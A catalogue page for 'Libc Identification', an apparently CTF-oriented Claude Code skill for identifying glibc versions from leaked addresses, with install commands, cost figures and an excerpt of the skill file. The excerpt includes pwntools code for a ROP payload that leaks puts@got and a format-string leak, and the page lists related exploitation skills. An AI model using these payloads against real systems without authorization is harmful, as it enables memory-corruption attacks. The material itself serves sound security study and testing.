Libc Identification

Libc Identification is a skill for Claude Code from allsmog/pwn-claude-plugin. It costs 66 tokens per session (1,771 once invoked), scanned A, original, MIT.

A method for identifying the exact version of the GNU C Library, the standard C library used by many Linux programs, from memory addresses exposed by a remote program. It uses address offsets and libc databases.

In plain words
What is it for?
Authorized binary-security testing: matching leaked function addresses to a libc version, calculating its base address, and finding offsets for functions or strings.
Why use it?
Exploitation work depends on matching the target library because function locations and available code gadgets differ between versions.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the pwn-htb plugin — 7 skills, 16 commands, 3 agents, 2 hooks shipped together

Good fit Authorized binary-security testing: matching leaked function addresses to a libc version, calculating its base address, and finding offsets for functions or strings.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/allsmog/pwn-claude-plugin/libc-identification
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add allsmog/pwn-claude-plugin --skill libc-identification
Clone the repo
git clone --depth 1 https://github.com/allsmog/pwn-claude-plugin

Made for: Claude Code.

Or install pwn-htb, the plugin that ships this one along with the rest of its 7 skills, 16 commands, 3 agents, 2 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Libc Identification

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/pwn-claude-plugin/libc-identification.svg)](https://agentmods.dev/skills/allsmog/pwn-claude-plugin/libc-identification)
Your own site
<a href="https://agentmods.dev/skills/allsmog/pwn-claude-plugin/libc-identification"><img src="https://agentmods.dev/badge/skills/allsmog/pwn-claude-plugin/libc-identification.svg" alt="Measured on agentmods" height="20"></a>
Per session 66 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,771 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00066 $0.01771
Opus 5 $0.00033 $0.00886
Sonnet 5 $0.00013 $0.00354
Haiku 4.5 $0.00007 $0.00177

Measured 8d ago against content hash 563b7b6fd869, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

Libc Identification scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

pwn-htb/skills/libc-identification/SKILL.md · 273 lines

How it starts

The opening of the file, as written. The whole thing — 273 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Libc Identification

Overview

When exploiting remote binaries, the correct libc version is critical for calculating function offsets. This skill provides techniques for identifying libc versions from leaked addresses and calculating exploitation offsets.

Why Libc Identification Matters

Different libc versions have different:

  • Function offsets (system, execve)
  • String locations (/bin/sh)
  • Gadget availability (one_gadget)
  • Internal structures (malloc hooks)

A leak of puts at 0x7f1234567890 means nothing without knowing which libc to calculate the base from.

Identification Methods

Method 1: Online Libc Database

libc.blukat.me (Recommended):

  1. Leak at least 2 function addresses
  2. Visit https://libc.blukat.me/
  3. Enter function name and last 3 hex digits of address
  4. Database returns matching libc versions

Example:

puts: 0x7f9876543210 → last 3 digits: 210
printf: 0x7f9876512340 → last 3 digits: 340

Method 2: libc-database (Local)

# Clone libc-database
git clone https://github.com/niklasb/libc-database
cd libc-database

# Search by symbol offset
./find puts 210 printf 340

# Download identified libc
./download libc6_2.31-0ubuntu9_amd64

Method 3: pwntools libcdb

from pwn import *
from pwnlib.libcdb import search_by_symbol_offsets

# Search by leaked offsets
results = search_by_symbol_offsets({
    'puts': 0x210,
    'printf': 0x340
}, return_as_list=True)

for libc in results:
    print(f"Possible: {libc}")

Leaking Libc Addresses

Via GOT Leak

from pwn import *

elf = ELF('./binary')
io = process('./binary')

# Leak puts@got using puts
pop_rdi = 0x401234
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])

io.sendline(payload)
io.recvuntil(b'prompt')
leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"puts@libc: {hex(leak)}")

Via Format String

# Leak from stack - find libc return address
payload = b'%p ' * 30
io.sendline(payload)
leaks = io.recvline().decode().split()
# Analyze for libc-range addresses (0x7f...)

Read the full file on GitHub · 273 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 273 lines · 66 tokens per session scan A 563b7b6fd869

Subscribe to this mod's changes

Libc Identification is a skill published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 66 tokens to every session and 1,771 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

exploiting-linux-kernel-vulnerabilities

Methodology for discovering and exploiting Linux kernel memory-corruption vulnerabilities (UAF, OOB read/write, race/TOCTOU, type confusion) during authorized engagements, covering reachability analysis, building stable read/write primitives from a single bug, defeating KASLR/SMEP/SMAP/KPTI, slab/buddy heap grooming…

xalgorix/xalgorix · 96 tokens

bypassing-binary-exploitation-mitigations

Methodology for identifying and defeating common binary hardening mitigations during authorized exploitation — ASLR, PIE, stack canaries, NX/DEP, and RELRO — by leaking addresses, brute-forcing entropy, abusing forked-process behavior, and selecting the right code-reuse primitive for the protections in place.

xalgorix/xalgorix · 73 tokens

exploiting-arbitrary-write-to-execution

Methodology for converting an arbitrary-write (write-what-where) or write-anything-anywhere primitive into code execution during authorized engagements, covering target selection among GOT/PLT entries, .finiarray/.dtors, mallochook/freehook, the atexit/exitfuncs handler list, and printfarginfotable, plus how…

xalgorix/xalgorix · 108 tokens

exploiting-format-string-vulnerabilities

Methodology for exploiting format string bugs where attacker-controlled data reaches the format argument of printf-family functions, enabling stack/memory disclosure (info leaks for ASLR/PIE/canary defeat) and arbitrary write primitives (%n) to hijack control flow via GOT/.finiarray overwrites.

xalgorix/xalgorix · 69 tokens

exploiting-glibc-heap-vulnerabilities

Methodology for exploiting glibc ptmalloc2 heap vulnerabilities during authorized engagements — use-after-free, double-free, heap overflow, and bin-based attacks (tcache poisoning, fast-bin dup, unsorted/large-bin) — including modern mitigations (tcache key, safe-linking, hook removal) and how to obtain leaks and…

xalgorix/xalgorix · 84 tokens

exploiting-integer-overflow-vulnerabilities

Methodology for finding and exploiting integer overflow, underflow, truncation, and signedness bugs in native code during authorized engagements, focusing on how wrapped arithmetic in size/length calculations leads to undersized allocations, oversized copies, length-check bypasses, and downstream heap/stack overflows.

xalgorix/xalgorix · 69 tokens